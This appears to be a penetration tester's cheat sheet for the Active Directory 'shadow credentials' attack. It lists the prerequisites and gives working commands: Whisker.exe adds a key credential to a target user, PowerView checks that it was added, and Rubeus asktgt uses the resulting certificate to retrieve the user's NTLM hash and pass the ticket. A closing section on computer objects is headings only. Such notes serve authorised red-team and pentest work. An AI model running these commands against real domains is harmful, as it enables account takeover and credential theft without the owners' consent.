shadow-credentials

Methodology

  1. User with GenericAll/GenericWrite on msDS-KeyCredentialLink (Key Admins and Enterprise Key Admins have it by default).

  2. Enumerate if the DC is atleast Windows 2016

Binaries

[!INFO] Remember to follow the Binaries methodology

Whisker

Add shadow credential:

Whisker.exe add /target:supportXuser

Check if shadow credential is added

Get-DomainUser -Identity supportXuser

Request the TGT by leveraging the certificate

# Retrieve NTLM hash
Rubeus.exe asktgt /user:supportXuser /certificate:MIIJuAIBAzCCCXQGCSqGSIb3DQEHAaCCCW.... /password:"1OT0qAom3..." /domain:us.contoso.local /dc:US-DC.us.contoso.local /getcredentials /show /nowrap

# Pass the ticket
Rubeus.exe asktgt /user:supportXuser /certificate:MIIJuAIBAzCCCXQGCSqGSIb3DQEHAaCCCW.... /password:"1OT0qAom3..." /domain:us.contoso.local /dc:US-DC.us.contoso.local /getcredentials /show /nowrap /ptt

Inject the TGT in the current session or use the NTLM hash:

Abusing Computer Object

Add the Shadow Credentials.

Using PowerView, see if the Shadow Credential is added.

Request the TGT by using the certificate.

Request and Inject the TGS by impersonating the user.

Last updated